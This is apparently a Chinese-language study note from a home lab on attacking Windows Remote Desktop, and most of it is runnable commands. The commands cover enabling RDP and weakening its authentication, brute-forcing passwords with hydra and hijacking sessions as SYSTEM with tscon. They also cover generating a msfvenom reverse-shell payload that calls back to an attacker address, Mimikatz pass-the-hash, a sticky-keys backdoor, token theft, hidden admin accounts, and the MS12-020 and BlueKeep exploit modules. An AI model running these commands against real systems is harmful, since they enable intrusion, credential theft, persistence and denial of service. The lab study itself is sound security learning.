学习参考
https://www.freebuf.com/articles/network/276242.html
能跟着实操的都实操一下。熟悉一些命令,过程。
实验环境:win2008,192.168.72.139
两个用户: administrator,shizuru
RDP服务 确定/开启
RDP服务确定
看是否开启RDP,
注册表查询:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服务是否开启: 1关闭, 0开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber # 查看 RDP 服务的端口
进程查看
tasklist /svc | findstr "TermService" # 找到对应服务进程的 PID
netstat -ano | findstr "3389" # 找到进程对应的端口号
端口扫描
nmap,fscan扫,看有无3389。
RDP服务开启
如果没开启就需要我们开启RDP服务。
修改注册表
先设置允许RDP,
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
再配置防火墙,允许远程桌面连接
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
MSF模块启动
拿到meterpreter后:
use post/windows/manage/enable_rdp
set session 1
exploit
RDP服务连接
前面开启RDP服务后就可以连接了,
注意有时候会报错
这时关闭鉴权模式即可:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
注意还要把shizuru
加入Remote Desktop组才能登录:
Linux上用rdesktop:
rdesktop <ip>
kali这边登录后,win2008那边就下线了。
Windows用mstsc.exe
对RDP口令爆破
跟ssh这些一样,可以在线爆破。
比如hydra:
hydra -v -f -l user -P wordlists.txt rdp://ip
hydra -v -f -l shizuru -P pass.txt rdp://192.168.72.139
如果是域的话就是INTRANET\win2008
这种的用户名
成功与否完全取决于字典强度。
RDP劫持实现未授权登录 (✨)
这是重点。经常提到的内网RDP未授权应该指的就是这个。
在有多个用户登录一台机子(不同账户分开),看任务管理器:
我这里是admin视角,右键shizuru后可以点连接,输入密码切换:
重点
Windows有一个tscon命令,也可以实现这种切换功能。
首先
query user
获取用户对应会话的ID,
然后tscon
,对应ID,密码
tscon <会话ID> /PASSWORD:<密码>
即可切换。
而有一个特殊用法
在SYSTEM权限下可以直接tscon <ID>
切换!
此时攻击者可以在不提供其他用户登录凭据的情况下自由切换会话桌面,实现劫持其他用户的 RDP 会话。
有什么用呢?
RDP 会话劫持在特定情况下可以大显身手,比如对于较新的 Windows 系统,默认情况下是无法通过 Mimikatz 导出用户明文口令的,此时我们通过常规方法无法切换至另一用户的桌面,那么我们便可以借助上文提到的方法,先提权至 SYSTEM 权限,再劫持目标用户的 RDP 并切换过去。
特别注意的是,即使远程连接的用户关闭了远程连接窗口,也不会劫持该回话,只是在后台显示 “已断开连接”(Disconnected),
此时**仍能在SYSTEM权限下通过tscon
**实现未授权连接。
高权限劫持低权限用户的RDP
对于这个实验环境就是admin 劫持 shizuru。
由于高权限一般指管理员权限,所以提权到SYSTEM相对容易一些。
这里学习一下:
高权限用户劫持低权限用户的 RDP 会话利用起来比较简单,由于具有管理员权限,可以直接通过创建服务等方式获取 SYSTEM 权限。
这是个很好的思路,因为很多服务是以SYSTEM权限运行的。
创建劫持用户会话的服务:
(cmd)
sc create rdp binpath= "cmd.exe /k tscon 2 /dest:console"
sc start rdp
执行sc start rdp
后,我们创建的劫持会话的服务将会启动,由于 Windows 是以 SYSTEM 权限运行服务的,所以我们tscon 2
命令也会以 SYSTEM 权限运行,此时便可以在不提供目标用户密码的情况下成功劫持目标用户的会话:
sc start rdp
后就能成功免密登录。
也可以用psexec来获得一个SYSTEM权限的cmd
psexec.exe -s -i cmd
query user
tscon 2 /dest:console
低权限劫持高权限的RDP
这里对应 shizuru劫持admin。
由于低权限,就需要用其它辅助手段提权了。
场景:
假设我们以shizuru rdp登录(拿到了账密),发现有一个admin的会话:
我们配合MSF,CS这些来拿shizuru的SYSTEM权限。
由于要上传shell,貌似rdp不支持跨机复制。
这里模拟一下,msf生成木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.181 LPORT=2333 --platform windows -f exe -o shell.exe
起个http服务,shizuru上下载,msf监听上线。
然后meterpreter getsystem拿权限。(呃呃呃,并没拿到。。)
(所以说低权限打高权限很难)
假设我们拿到SYSTEM了,那么直接
query user
tscon <ID> /dest:console
亦可。
利用hash传递登录RDP远程桌面
只有"Restricted Admin"才行,普通RDP组用户不行
修改/查询 Restricted Admin Mode
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
# 查看是否成功开启
0表示开启。
开启Restricted Admin Mode
后,可以用Mimikatz pth来攻击。
privilege::debug
sekurlsa::pth /user:administrator /domain:如果有的话 /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
这里直接搬图了:
但其实,既然都抓到admin的hash了,也可以干别的pth,不需要局限在RDP这里,不如pth smb这些。
当然就当一个点记下来也好。也不失为一种方法。
RDP远程桌面中间人攻击
既然是内网协议,就必有中间人攻击。。。
中间人攻击通常会导致凭据捕获。同样的,在对 RDP 会话进行中间人攻击,攻击者可以获得一个登录用户的明文密码,用于后期的横向移动。当 RDP 爆破走不通时,我们不妨尝试一下中间人。
工具:
Seth是一个用 Python 和 Bash 编写的 RDP 中间人攻击自动化工具,通过尝试降级连接用以提取明文凭证来实现 MitM RDP 连接,而不管网络级别的身份验证(NLA)是否启用。
https://github.com/SySS-Research/Seth
用法:
Usage:
./seth.sh <INTERFACE> <ATTACKER_IP> <VICTIM_IP> <GATEWAY_IP|HOST_IP> [<COMMAND>]
INTERFACE:网卡
ATTACKER IP:中间人 IP
VICTIM IP:连接者 IP
GATEWAY IP|HOST IP:被连接的远程主机 IP
COMMAND:启动时执行的命令
然后当 PC 上的用户远程登录 DC 时便会抓取到登录用户的明文密码。不仅如此,还可以对用户键盘的操作进行记录,甚至使用
<COMMAND>
在目标主机上执行命令。详情请看:https://www.freebuf.com/sectool/178146.html
启动seth监听:(为方便这里直接kali连接win2008)
sudo ./seth.sh eth0 192.168.136.181 192.168.136.181 192.168.72.139
可能要Windows登才能抓到keyboard之类的?
获取RDP远程桌面连接记录
远程桌面连接的历史记录可以定位到关键服务器。
获取 RDP 远程桌面连接记录可以通过枚举注册表完成,但是如果想要获得所有用户的历史记录,需要逐个获得用户的 NTUSER.DAT 文件,通过注册表加载配置单元,导入用户配置信息,再进行枚举才能够实现。
手动获取比较复杂,3gstudent有脚本:
https://github.com/3gstudent/List-RDP-Connections-History
远程桌面相关的维持权限的方法
Windows辅助功能维权
这篇讲的很细:
https://xz.aliyun.com/t/7034
可以用的有 粘滞键,放大镜,讲述人这些。
以粘滞键为例:
sethc.exe
,路径c:\windows\system32\sethc.exe
找到EXE后,把sethc.exe改为cmd.exe即可:
cd c:\windows\system32
move sethc.exe sethc.exe.bak // 将sethc.exe重命名
copy cmd.exe sethc.exe // 将一个cmd.exe副本保存伪装成sethc.exe
这样我们不需要登录,只需要远程桌面服务连接,在登录界面调用粘滞键即可拿到shell。
由于前面我们将cmd放在system32下,所以这个shell是SYSTEM权限,
我们就可以添加一个管理员用户登录,或者tscon <ID>
随意切换会话了。
但是,有些主机做了防护:即使是SYSTEM权限也是无法修改 sethc.exe的,只有TrustedInstaller权限才可以。
此时可以steal TrustedInstaller.exe
的token。
方法如下:
在meterpreter拿到shell后
sc.exe start TrustedInstaller # 先进入shell启动TrustedInstaller服务
use incognito
ps # 找到TrustedInstaller的进程PID,这里为3476
steal_token <PID> # 从该进程中窃取令牌
getuid
然后就可以对sethc.exe
进行操作了。
MSF中也有对应模块实现:
post/windows/manage/sticky_keys
use post/windows/manage/sticky_keys
set session 1
set target UTILMAN # 辅助功能
exploit
Windows 系统隐藏账户
net user hacker$ 123qweQWE /add
net localgroup administrators hacker$ /add
可以看到添加后,net user是看不到 hacker$
账户的:
然后把hacker$
加入RDP组就可以用隐藏账户登录了。
更为隐藏的方式这里不深入探究,原理就是利用注册表来注册这个隐藏账户,这样就只能在注册表中才能看到。
RDP相关漏洞(✨)
对3389端口的DoS攻击
这一利用借助的是 2012 年爆出来的 MS12-020 远程桌面协议 RDP 远程代码执行漏洞(CVE-2012-0002)。该漏洞是由于 Windows 在处理某些对象时存在错误,可通过特制的 RDP 报文访问未初始化或已经删除的对象,导致任意代码执行,然后控制系统。
msf中有两个利用模块,一个exp,一个scan
search MS12-020
这里用win7实验:ip:192.168.72.141
先检测:
use auxiliary/scanner/rdp/ms12_020_check
set rhosts 192.168.72.141
set rport 3389
exploit
然后打exp:(看hint用的UAF。。)
use dos/windows/rdp/ms12_020_maxchannelids
set RHOSTS 192.168.72.141
exploit
再看win7:经典蓝屏~
可能利用的场景:
DoS 攻击执行者通常攻击托管在诸如银行或信用卡支付网关等高端 Web 服务器上的站点或服务,通过暂时或无限期地中断连接 Internet 的主机服务,使其目标用户无法使用机器或网络资源。
CVE-2019-0708
Windows 远程桌面服务的远程代码执行漏洞
影响版本:
Windows 7 foR 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 foR 32-bit Systems Service Pack 2
Windows Server 2008 foR 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for Itanium-Based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows XP SP3 x86
Windows XP Professional x64 Edition SP2
Windows XP Embedded SP3 x86
Windows Server 2003 SP2 x86
Windows Server 2003 x64 Edition SP2
Windows 8 和 Windows 10 及之后版本的用户不受此漏洞的影响。
MSF中也有模块:
search CVE-2019-0708
一个检测,一个EXP
Scan:
ucanner/rdp/cve_2019_0708_bluekeep
options
set RDP_CLIENT_IP kali_ip
st RHOSTS win7_ip
EXP
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.72.141
set lhost 192.168.136.181
set rdp_client_ip 192.168.136.181
unset RDP_CLIENT_NAME
set target 2 # 这里的 2 代表目标机为虚拟机环境
exploit
由于我是用vmware17搭的win7,target里面最高到15.1,所以打不通。
打通示例: